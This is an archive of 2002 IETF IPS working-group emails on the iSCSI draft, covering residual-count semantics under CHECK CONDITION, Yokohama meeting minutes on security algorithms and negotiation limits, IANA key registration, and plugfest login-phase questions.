From owner-ips@ece.cmu.edu Thu Aug 1 04:12:54 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA09986 for ; Thu, 1 Aug 2002 04:12:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g717SiC02087 for ips-outgoing; Thu, 1 Aug 2002 03:28:44 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g717Sgo02083 for ; Thu, 1 Aug 2002 03:28:42 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (8.12.3/8.12.3) with ESMTP id g717Ptub048650; Thu, 1 Aug 2002 09:25:55 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g717Pra9069806; Thu, 1 Aug 2002 09:25:53 +0200 To: Santosh Rao Cc: IPS Reflector , rdr@io.iol.unh.edu, Robert Snively , santoshr@hpcuhe.cup.hp.com, T10 Reflector MIME-Version: 1.0 Subject: Re: iSCSI: plugfest4 issues X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Thu, 1 Aug 2002 10:25:48 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 01/08/2002 10:25:54, Serialize complete at 01/08/2002 10:25:54 Content-Type: multipart/alternative; boundary="=_alternative 00289AE2C2256C08_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 00289AE2C2256C08_= Content-Type: text/plain; charset="us-ascii" Santosh, I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status. SPC says nothing about that either (beyond that the bits set are not necessarily an indication of error). Julo Santosh Rao Sent by: santoshr@hpcuhe.cup.hp.com 08/01/2002 03:44 AM To: IPS Reflector , Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu cc: Robert Snively , T10 Reflector Subject: Re: iSCSI: plugfest4 issues Julian & Robert [Russell], I raised the same query regarding RESID for FCP/FCP-2 this time last year. The response I got for FCP/FCP-2 was that RESID information shall be valid, regardless of the scsi status returned. The RESID field, can be checked by the scsi transport drivers independent of the SCSI STATUS. I have enclosed the T10 response from Rob Snivelly below on that issue. As per FC-PLDA, the RESID information is valid, regardless of the scsi status returned by the device. An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check condition, when the data transfer may have taken place and a CHECK CONDITION is returned. Also, for other CHECK CONDITION status', partial data transfer may have taken place and hence, resid information should be present. It would be good to maintain consistent behaviour across the scsi transports in this regard, since protocol bridging from iscsi to FCP domain would expect RESID information in the FCP domain, regardless of scsi status. This also allows scsi transports to remain free of SCSI command set details. (ex : the scsi transport drivers do not need to parse for CHECK CONDITION or GOO status information.) Thanks, Santosh ------------------------------------------------------------------------- Subject: Re: iSCSI: plugfest4 issues Date: Thu, 1 Aug 2002 02:52:19 +0300 From: "Julian Satran" To: "Robert D. Russell" CC: ips@ece.cmu.edu Bob, Thanks - some comments in text. Julo "Robert D. Russell" Julian: Four issues came up today at the iSCSI plugfest: 1. A question about whether or not the Residual Count field and the appropriate O and U bits need to be computed on all SCSI Response PDUs, regardless of the values in the Status and/or Response fields. One point of view says that the Residual Count field and the O and U bits appear to be strictly iSCSI values that are derived by the iSCSI target layer from the ExpectedDataTransferLength field of the SCSI Command PDU and the DataSegmentLength fields of the DataIn or DataOut PDUs sent as part of this command. Therefore ,the iSCSI target always computes a Residual Count value without regard to the Status and/or Response fields, since these are SCSI values. The other point of view says that the Residual Count field, and the O and U bits, need only be set when the Status and Response fields indicate that the command was completed at the target with a GOOD Status, and the target does not have to compute or set the Residual Count field and the O or U bits for other values of the Status and/or Response fields. Which is it? In any case, could this be clarified somewhere in the standard, most likely in section 9.4.4. +++ Residual count fields are in fact carrioed over from the SCSI layer. I know that none of the SCSI docs specifies exactly their behavior and it strikes me as a bad idea to have protocols specify them. The values should be valid any time the target decides to put them in. +++ ------------------------------------------------------------------------- Subject: RE: FCP_RSP Residual Checking. Date: Thu, 5 Jul 2001 13:18:42 -0700 From: Robert Snively To: "'Santosh Rao'" , T10 Reflector , Fibre Channel T11 reflector Robert Snively wrote: > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed > > without the data phase having transferred exactly > > FCP_DL bytes, regardless of the SCSI Status being returned ? > > > When the target generates a CHECK CONDITION on an I/O > > and may have returned less than FCP_DL bytes in the data > > phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > The intent is that the answer to your second question is: > FCP_RESID should appropriately regardless of the SCSI Status > being returned. The classic errors of that class are those > involving successful completion with reporting, like > the "NO SENSE" and "RECOVERED ERROR" series of errors. > > > > > What is the behaviour initiators can expect under the above > > condition ? > > The intent is that there be no conflict. I believe that FCP-2 > was a bit less bald than FC-PLDA in stating the requirement. > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Thursday, July 05, 2001 12:15 PM > > To: T10 Reflector; Fibre Channel T11 reflector > > Subject: FCP_RSP Residual Checking. > > > > > > All, > > > > I've got a question on target behaviour while sending a > > CHECK CONDITION > > SCSI status in its FCP_RSP IU. > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data > > phase having transferred exactly FCP_DL bytes, regardless of the SCSI > > Status being returned ? > > > > When the target generates a CHECK CONDITION on an I/O and may have > > returned less than FCP_DL bytes in the data phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > > > FC-PLDA Section 8.2.4.1 states that : > > "SCSI targets that transfer less than FCP_DL bytes during > > the FCP_DATA > > IUs shall set the FCP_RESID_UNDER to 1". > > > > No exceptions are specified in the case of a CHECK CONDITION in the > > above definition, implying that FCP_RSP residual checking can be > > performed irrespective of the SCSI Status that was returned in the > > FCP_RSP. > > > > However, the wording descriptions of FCP_RESID_UNDER, > > FCP_RESID_OVER & > > FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as > > FC-PLDA and do not > > mandate that FCP_RESID_UNDER shall be set when the data > > transferred is < > > FCP_DL. > > > > What is the behaviour initiators can expect under the above > > condition ? > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Thanks, > > Santosh Rao > > -- Education is when you read the fine print. Experience is what you get if you don't. --=_alternative 00289AE2C2256C08_= Content-Type: text/html; charset="us-ascii"
Santosh,

I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond
iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status.
SPC says nothing about that either  (beyond that the bits set are not necessarily an indication of error).

Julo


Santosh Rao <santoshr@cup.hp.com>
Sent by: santoshr@hpcuhe.cup.hp.com

08/01/2002 03:44 AM

       
        To:        IPS Reflector <ips@ece.cmu.edu>, Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu
        cc:        Robert Snively <rsnively@brocade.com>, T10 Reflector <t10@t10.org>
        Subject:        Re: iSCSI: plugfest4 issues

       


Julian & Robert [Russell],

I raised the same query regarding RESID for FCP/FCP-2 this time last
year. The response I got for FCP/FCP-2 was that RESID information shall
be valid, regardless of the scsi status returned. The RESID field, can
be checked by the scsi transport drivers independent of the SCSI STATUS.

I have enclosed the T10 response from Rob Snivelly below on that issue.
As per FC-PLDA, the RESID information is valid, regardless of the scsi
status returned by the device.

An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check
condition, when the data transfer may have taken place and a CHECK
CONDITION is returned. Also, for other CHECK CONDITION status', partial
data transfer may have taken place and hence, resid information should
be present.

It would be good to maintain consistent behaviour across the scsi
transports in this regard, since protocol bridging from iscsi to FCP
domain would expect RESID information in the FCP domain, regardless of
scsi status.

This also allows scsi transports to remain free of SCSI command set
details. (ex : the scsi transport drivers do not need to parse for CHECK
CONDITION or GOO status information.)

Thanks,
Santosh


-------------------------------------------------------------------------

Subject: Re: iSCSI: plugfest4 issues
Date:    Thu, 1 Aug 2002 02:52:19 +0300
From:   "Julian Satran" <Julian_Satran@il.ibm.com>
To:     "Robert D. Russell" <rdr@io.iol.unh.edu>
CC:     ips@ece.cmu.edu

Bob,

Thanks - some comments in text. Julo


 "Robert D. Russell" <rdr@io.iol.unh.edu>
                                           
Julian:

Four issues came up today at the iSCSI plugfest:

1. A question about whether or not the Residual Count field and the
 appropriate O and U bits need to be computed on all SCSI Response
 PDUs, regardless of the values in the Status and/or Response fields.

 One point of view says that the Residual Count field and the O and U
 bits appear to be strictly iSCSI values that are derived by the
 iSCSI target layer from the ExpectedDataTransferLength field of the
 SCSI Command PDU and the DataSegmentLength fields of the DataIn or
 DataOut PDUs sent as part of this command.  Therefore ,the iSCSI
 target always computes a Residual Count value without regard to the
 Status and/or Response fields, since these are SCSI values.

 The other point of view says that the Residual Count field, and the
 O and U bits, need only be set when the Status and Response fields
 indicate that the command was completed at the target with a GOOD
 Status, and the target does not have to compute or set the Residual
 Count field and the O or U bits for other values of the Status and/or
 Response fields.

 Which is it?  In any case, could this be clarified somewhere in the
 standard, most likely in section 9.4.4.

+++ Residual count fields are in fact carrioed over from the SCSI layer.
I know that none of the SCSI docs specifies
exactly their behavior and it strikes me as a bad idea to have protocols
specify them.
The values should be valid any time the target decides to put them in.
+++

-------------------------------------------------------------------------
Subject: RE: FCP_RSP Residual Checking.
Date:    Thu, 5 Jul 2001 13:18:42 -0700
From:    Robert Snively <rsnively@brocade.com>
To:      "'Santosh Rao'" <santoshr@cup.hp.com>,
        T10 Reflector <t10@t10.org>,
        Fibre Channel T11 reflector <fc@network.com>

Robert Snively wrote:
>
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed
> >  without the data phase having transferred exactly
> >  FCP_DL bytes, regardless of the SCSI Status being returned ?
>
> >  When the target generates a CHECK CONDITION on an I/O
> >  and may have returned less than FCP_DL bytes in the data
> >  phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
>
> The intent is that the answer to your second question is:
> FCP_RESID should appropriately regardless of the SCSI Status
> being returned.  The classic errors of that class are those
> involving successful completion with reporting, like
> the "NO SENSE" and "RECOVERED ERROR" series of errors.
>
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
>
> The intent is that there be no conflict.  I believe that FCP-2
> was a bit less bald than FC-PLDA in stating the requirement.
>
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
>
> Bob Snively                        e-mail:    rsnively@brocade.com
> Brocade Communications Systems     phone:  408 487 8135
> 1745 Technology Drive
> San Jose, CA 95110
>
> >  -----Original Message-----
> >  From: Santosh Rao [mailto:santoshr@cup.hp.com]
> >  Sent: Thursday, July 05, 2001 12:15 PM
> >  To: T10 Reflector; Fibre Channel T11 reflector
> >  Subject: FCP_RSP Residual Checking.
> >
> >
> >  All,
> >
> >  I've got a question on target behaviour while sending a
> >  CHECK CONDITION
> >  SCSI status in its FCP_RSP IU.
> >
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data
> >  phase having transferred exactly FCP_DL bytes, regardless of the SCSI
> >  Status being returned ?
> >
> >  When the target generates a CHECK CONDITION on an I/O and may have
> >  returned less than FCP_DL bytes in the data phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
> >
> >  FC-PLDA Section 8.2.4.1 states that :
> >  "SCSI targets that transfer less than FCP_DL bytes during
> >  the FCP_DATA
> >  IUs shall set the FCP_RESID_UNDER to 1".
> >
> >  No exceptions are specified in the case of a CHECK CONDITION in the
> >  above definition, implying that FCP_RSP residual checking can be
> >  performed irrespective of the SCSI Status that was returned in the
> >  FCP_RSP.
> >
> >  However, the wording descriptions of FCP_RESID_UNDER,
> >  FCP_RESID_OVER &
> >  FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as
> >  FC-PLDA and do not
> >  mandate that FCP_RESID_UNDER shall be set when the data
> >  transferred is <
> >  FCP_DL.
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
> >  Thanks,
> >  Santosh Rao
> >

--
Education is when you read the fine print.
Experience is what you get if you don't.

--=_alternative 00289AE2C2256C08_=-- From owner-ips@ece.cmu.edu Thu Aug 1 04:14:56 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA10010 for ; Thu, 1 Aug 2002 04:14:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g717gY202483 for ips-outgoing; Thu, 1 Aug 2002 03:42:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from osmtp3.electric.net (osmtp3.electric.net [216.129.90.30]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g717gWo02478 for ; Thu, 1 Aug 2002 03:42:32 -0400 (EDT) Received: from [216.192.33.21] (helo=EGRodriguez) by osmtp3.electric.net with asmtp (Exim 3.22 #1) id 17aAbB-00037W-04 for ips@ece.cmu.edu; Thu, 01 Aug 2002 00:42:29 -0700 From: "Elizabeth G. Rodriguez" To: Subject: IPS Yokohoma draft minutes Date: Thu, 1 Aug 2002 02:38:36 -0600 Message-ID: <001b01c23936$ddd69500$1521c0d8@EGRodriguez> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id g717gWo02479 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Please send any comments by Friday Noon. Thanks, Elizabeth Rodriguez ------ IPS Meeting Minutes Monday, July 15, 2002  (60 attendees) - There are currently 23 WG drafts. Of these, 2 are in the RFC editor’s queue 4 have completed WG last call 1 has completed initial WG last call, but will need second. 3 deal with last call issues, and will be allowed to expire w/o further processing. Most of the others are either ready for last call, or will be shortly. - The FC encapsulation document has completed WG last call, but is being held until FCIP and iFCP documents are ready to be forwarded to the AD’s for their review and IETF last call. - The iFCP and FCIP documents have completed WG last call, but are being held pending a final review against the IPS security document. - The IPS security document has completed WG last call. A few technical and editorial comments must be addressed. Waiting completion of the final draft, expected some time in August. - The iSCSI draft has completed its initial WG last call. Many technical and editorial comments have been received. Most have been addressed in a preliminary draft, and others addressed during the IPS WG meeting in Yokohoma. The group is encouraged to review the working version of the draft, comments against the draft and their resolution at http://www.haifa.il.ibm.com/satran/ips/ The current working version of the draft is located at http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iscsi-15-working.p df The current list of comments and their resolution, if any, is available at http://www.haifa.il.ibm.com/satran/ips/iSCSI-WG-Last-Call-Issues-And-Res olution.txt - FC Mgmt MIB is ready for WG last call, and will be started this week iSCSI Plugfest - The 4th iSCSI Interoperability Plugfest will be held the week of July 29 at UNH Interoperability Labs. - Contact for the plugfest is Stephen Schafer (stephens@iol.unh.edu, 603 862 5083) - UNH Web site at www.iol.unh.edu - Past Plugfests have had 36 companies participate (34 US, 1 Japan, 1 Israel) - Consisted of Disk, Bridge, Routers, Filers, Tape - Discovered many issues. Info available on both IPS mailing list and IOL web site. - Tests divided into two categories – Interoperability and Compliance. Reference design for interoperability testing is available. - The 4th plugfest will focus on Login Phase conformance, Parameter Negotiation, Full feature phase conformance, error recover (new test tool spoofer), security (CHAP), and multiple conformance, Parameter Negotiation, Full feature phase conformance, error recover (new test tool spoofer), security (CHAP), and multiple connections per session. - Request made to make a list of companies participating in plugfests available. This can help people justify participation to their companies. This may be able to be accommodated – results are confidential, but companies participating should not be. Security Draft - Completed WG last call - 2 loose ends SRP Groups: • Issue: SRP primes only probabilistically tested. Could use IKE grups, primes proven, but no generators. • Results: Now have generators for IKE groups (courtesy of Tom Wu), and independent probabilistic test of SRP primes have been performed (courtesy of Vince Cavanna) • Will go forward with these results (Note: See Tuesday minutes for update -- Primality of SRP primes proven) AES Counter Mode • Currently SHOULD implement for all IP Storage Protocols (3DES CBC is must implement) • AES CTR Mode is not making good progress in the IPsec WG. The experts are engaged, but no current draft. Problems seem to center around the design of the counter. • AES CTR Mode is more suitable to 10Gb design, but AES CBC mode should be able to run at 10Gb as well. AES CBC is currently available. • Q to group – What should be done • Nothing right now; pull AES CTR Mode at time of IETF last call if AES CTR Mode still not available, may replace at that time with AES CBC mode • Replace AES CTR Mode with AES CBC mode now • Make both AES CTR and AES CBC modes SHOULD now, and eliminate AES CTR mode later, if still not available. • After much discussion, consensus by WG is that AES CBC mode should replace AES CTR mode now. (NOTE: This decision modified on Tuesday to change to AES CBC mode should AES CTR mode still not available by Aug 31, based on information received from one of the IPsec WG Chairs) • This decision needs to be sent to mailing list to check for objections to this decision. SCSI MIB - Stable - Minor Wording and compile issues - Will be an 04 draft. - 04 will be ready for WG last call, in August/September time frame - Q: Related to relationship of iSCSI MIB to T10: This is an IETF draft. There will be no T10 document. Initially, when this draft adopted, it was at request of T10 – they contributed what they feel is needed in the MIB, but do not feel they have the expertise to develop the MIB. iSCSI - Long Lived Discovery Sessions: Currently no restrictions on what can PDUs can be used in discovery sessions. Targets only required to accept Logout and SendTargets. Has been restricted further, such that the initiator is limited to only sending those PDUs, and target is limited to responding to them (no NOPs, no Async Messages). Sessions are not intended to be long lived. - Appropriate Limits on Decimal Encoding: Can only encode values that have a fixed size, and that fixed size fits in 64 bits (e.g., if the value of a 128-bit parameter happens to fit in 64 bits, decimal cannot be used). - Size requirements for negotiation: How much text is an implementer required to accept because of login? This is important, in that implementations may have to set aside this much memory for each login in progress. The specification currently specifies 16K, unless SPKM then 64K. Argued that max needed today is less than 1 K. Therefore, 4K requirement should be sufficient. Compromise at 8K. To be checked on the list for objections. - ErrorRecoveryLevel 0.5: Support for only one of the two features required for ErrorRecoveryLevel 1 support. This is not going to be an official new level. 1 person objected to this. Rough consensus: For this scenario, an implementation must negotiate to ErrorRecoveryLevel 0, since it does not support all the functionality required at ErrorRecoveryLevel 1. An initiator may then try to initiate Within-connection recovery or within-command recovery after negotiating to ErrorRecoveryLevel 0, but must be prepared to work if the target rejects the attempt – the target may strictly operate at ErrorRecoveryLevel 0. - Use of "Irrelevant" in negotiations: Irrelevant is a value response, and is applicable for dependent keys, only when the key on which it is dependent is not negotiated to an appropriate value. Request made to add to the document all the scenarios in which Irrelevant is applicable. This is impractical – defining all the permutations in the document would add significant txt to the draft. As compromise, Julian will put in some examples in the document regarding the use of Irrelevant. - Bi-Directional Initial R2T useful? iSCSI/FC bridge developments do not think useful. FCP in the FC world uses the same parameter for its counterpart. The BidiInitialR2T key appears in text only where being defined. Since never appears elsewhere in the document, then not needed. Decision to follow FCP and fold BidiInitialR2T into InitialR2T. To check with list for objections. - IANA issues: • Current TCP user port of 3260 defined. Should we allocate a system port when we go to RFC? Yes. But, current user port will also be kept. • Registry for vendor-specific key values. Can use reverse DNS name or IANA registration. Simple to set up registry with IANA. This will be done, but with a restriction, such as only keys with a special symbol such as an “@” or “_” included will be registered by IANA. This insures that the draft can define new keys in the future without possibility of defining a vendor specific key. - Data SNACK resegmentation: This topic is being discussed by David Black, Julian Satran and John Hufferd, along with Mallikarjun. A small design team will be formed, to come back with a proposed resolution on Tuesday.   Tuesday, July 16, 2002  (74 attendees)   Update: Primality of SRP Primes have been proven recently – announced on mailing list.   Update: AES-CTR mode. Information on Monday some 6 weeks old. Barbara Fraser, IPsec co-chair indices that a draft is not yet available, but it is happening, and will likely occur shortly, in time for IPS to make use of it without hampering IPS drafts schedules. It should go forward in IPsec WG very quickly, without lots of iterations. (This information subsequently confirmed with draft author) -Proposal: Decision made yesterday to replace AES-CTR mode with AES-CBC delayed, until no later than August 31. If AES-CTR draft is still not available by that date, or not in reasonably stable shape, then the replacement will be made. Data SNACK resegmentation - Small design team, comprised of David Black, Julian Satran, John Hufferd, Marjorie Krueger, Mallikarjun Chadalapaka, and Pat Thaler met Monday between Monday and Tuesday's sessions and came up with a proposed compromise solution. - Problem summary:  • Command active on connection • Initiator reduces size of PDU • Initiator does not have all data for outstanding command, requests retransmission. • Since PDU size is smaller, cannot retransmit same PDUs as previous; data must be resegmented. - Proposed Solution: BegRun=0 and RunLength=0 mean send all unacked data With Data SNACK that means all data resent are exact replicas except the usual fields that can change With the new SNACK (R-Data) • BegRun and RunLength always 0 • Data MAY be resegmented • Carries a tag (SNACK Tag) at offset 0x20 • SNACK Tag can be built as a number (1-0xffffffffe) • Target must return a status carrying this tag as the last (or only) status • StatSN does not change • DataSN contiguity kept by target • SNACK Tag is lost on reassign • ExpDataSN reflects the information known to initiator at Logout   From mailman-owner@ietf.org Thu Aug 1 05:09:18 2002 Received: from optimus.ietf.org (ietf.org [132.151.1.19] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA12208 for ; Thu, 1 Aug 2002 05:09:18 -0400 (EDT) Received: from optimus.ietf.org (localhost [127.0.0.1]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id FAA01831 for ; Thu, 1 Aug 2002 05:10:27 -0400 (EDT) Date: Thu, 1 Aug 2002 05:10:27 -0400 (EDT) Message-Id: <200208010910.FAA01831@optimus.ietf.org> From: mailman-owner@ietf.org Subject: ietf.org mailing list memberships reminder To: ips-archive@ietf.org X-No-Archive: yes Precedence: bulk X-Mailman-Version: 1.0 Precedence: bulk List-Id: Session Initiation Protocol This is a reminder, sent out once a month, about your ietf.org mailing list memberships. It includes your subscription info and how to use it to change it or unsubscribe from a list. You can visit the URLs to change your membership status or configuration, including unsubscribing, setting digest-style delivery or disabling delivery altogether (e.g., for a vacation), and so on. In addition to the URL interfaces, you can also use email to make such changes. For more info, send a message to the '-request' address of the list (for example, ips-request@ietf.org) containing just the word 'help' in the message body, and an email message will be sent to you with instructions. ****************************************************************** Note Well All statements related to the activities of the IETF and addressed to the IETF are subject to all provisions of Section 10 of RFC 2026, which grants to the IETF and its participants certain licenses and rights in such statements. Such statements include verbal statements in IETF meetings, as well as written and electronic communications made at any time or place, which are addressed to * the IETF plenary session, * any IETF working group or portion thereof, * the IESG, or any member thereof on behalf of the IESG, * the IAB or any member thereof on behalf of the IAB, * any IETF mailing list, including the IETF list itself, any working group or design team list, or any other list functioning under IETF auspices, * the RFC Editor or the Internet-Drafts function Statements made outside of an IETF meeting, mailing list or other function, that are clearly not intended to be input to an IETF activity, group or function, are not subject to these provisions. ****************************************************************** If you have questions, problems, comments, etc, send them to mailman-owner@ietf.org. Thanks! Passwords for ips-archive@lists.ietf.org: List Password // URL ---- -------- ips@ietf.org INMn https://www1.ietf.org/mailman/options/ips/ips-archive@lists.ietf.org From owner-ips@ece.cmu.edu Thu Aug 1 10:34:14 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02156 for ; Thu, 1 Aug 2002 10:34:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g71DjwE25764 for ips-outgoing; Thu, 1 Aug 2002 09:45:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g71Djuo25758 for ; Thu, 1 Aug 2002 09:45:57 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel6.hp.com (Postfix) with ESMTP id 09C79C4E; Thu, 1 Aug 2002 09:45:56 -0400 (EDT) Received: from swathi (atl1nai178060.ssr.hp.com [15.228.178.60]) by core.rose.hp.com with SMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id GAA13986; Thu, 1 Aug 2002 06:47:46 -0700 (PDT) Message-ID: <00c601c23961$c0dd6160$7ab0e40f@rose.hp.com> From: "Mallikarjun C." To: , References: <277DD60FB639D511AC0400B0D068B71E0564C135@CORPMX14> Subject: Re: iSCSI - working draft and IANA Date: Thu, 1 Aug 2002 06:45:49 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit As I already said, I think we should register both - all the current text keys (for the reasons David states below) - any future non-X# keys (same argument) I agree with David that additionally assigning a numeric identifier to a string identifier (key name) we already have doesn't seem like an appealing prospect. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Hewlett-Packard MS 5668 Roseville CA 95747 cbm@rose.hp.com ----- Original Message ----- From: To: Sent: Tuesday, July 30, 2002 2:45 PM Subject: RE: iSCSI - working draft and IANA > Several comments on this topic: > > - The IANA text in the working draft is going to need some > expansion. IANA will want explicit instructions on how > to manage the registries, as IANA does *not* have > a single or default set of procedures for this purpose > and hence needs instructions on what is to be done. > See RFC 2434. > > - The rationale for the X/Y/Z prefixes is to avoid losing key > and value names to vendor registration that we might like > to use in the future - future RFCs would be able to define > new key and value names without problems, because we wouldn't > us those prefixes. The # prefix ensures that registered > and unregistered vendor-specified names can't conflict. > Both of these are important (e.g., the X- format for > vendor-specific keys is not going away at this stage). > If the # character is objectionable, a possible alternative > is that registered values MUST NOT contain a period ('.') > and unregistered values MUST contain a period ('.') between > the first and second components of the reversed domain name. > We may also want to reserve/restrict the use of underscore > ('_') to continue the convention that for AuthMethod , > the keys that negotiate its parameters are named _* . > > - The reason for creating a registry for existing keys is that > it would provide a single point of reference in the future as > new keys get added to iSCSI. Right now this doesn't matter, but > down the road, after a few RFCs add several new keys, having one > place to look could be quite convenient. A number of things > have been put into IANA registries after the fact as it was > subsequently discovered that such a registry would be useful > (e.g., the IP protocol number [IPv4/IPv6] is in such a registry). > > I may need to volunteer to help with the IANA text - it doesn't > have to be perfect to Last Call the draft as long as for each > registry, two things are clear: > > - The criteria for registration - the things that someone who > wants to register something has to present to IANA. > - How IANA handles registration requests, including reasons for > rejection and requirements for review. > > I'm not sure about Mark Bakke's suggestion to number newly registered > authentication/digest algorithms for MIB usage vs. having the MIB use > the strings. In practice, the string is what names these algorithms, > so using numbers seems to create an additional opportunity to get the > algorithm (string) to number mapping wrong. > > Thanks, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > From owner-ips@ece.cmu.edu Thu Aug 1 11:34:54 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03916 for ; Thu, 1 Aug 2002 11:34:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g71El4F29505 for ips-outgoing; Thu, 1 Aug 2002 10:47:04 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from iol.unh.edu (io.iol.unh.edu [132.177.123.82]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g71DCPo24015 for ; Thu, 1 Aug 2002 09:12:25 -0400 (EDT) Received: from io.iol.unh.edu (localhost.localdomain [127.0.0.1]) by iol.unh.edu (8.12.3/8.12.3) with ESMTP id g71DCJ6U007902; Thu, 1 Aug 2002 09:12:19 -0400 Received: from localhost (rdr@localhost) by io.iol.unh.edu (8.12.3/8.12.3/Submit) with ESMTP id g71DCJeZ007899; Thu, 1 Aug 2002 09:12:19 -0400 Date: Thu, 1 Aug 2002 09:12:19 -0400 (EDT) From: "Robert D. Russell" To: Julian Satran , Subject: Re: iSCSI: plugfest4 issues In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian: Would you please clarify your answer to issue 2 below: Do you mean the target should simply disconnect in all cases of a PDU received during Login Phase that is not a Login Request PDU, or only when the first PDU received during Login Phase is not a Login Request? If the answer is "all cases", then there would appear to be no need for the Login Response Status code 0x020b "Invalid Request type during Login" and it should be removed to avoid further confusion. I believe disconnect is fully justified when the first PDU in Login Phase is not a Login Request, for both security and implementation reasons, as stated in a posting by Eddy Quicksall. However, after the first Login Request PDU has been 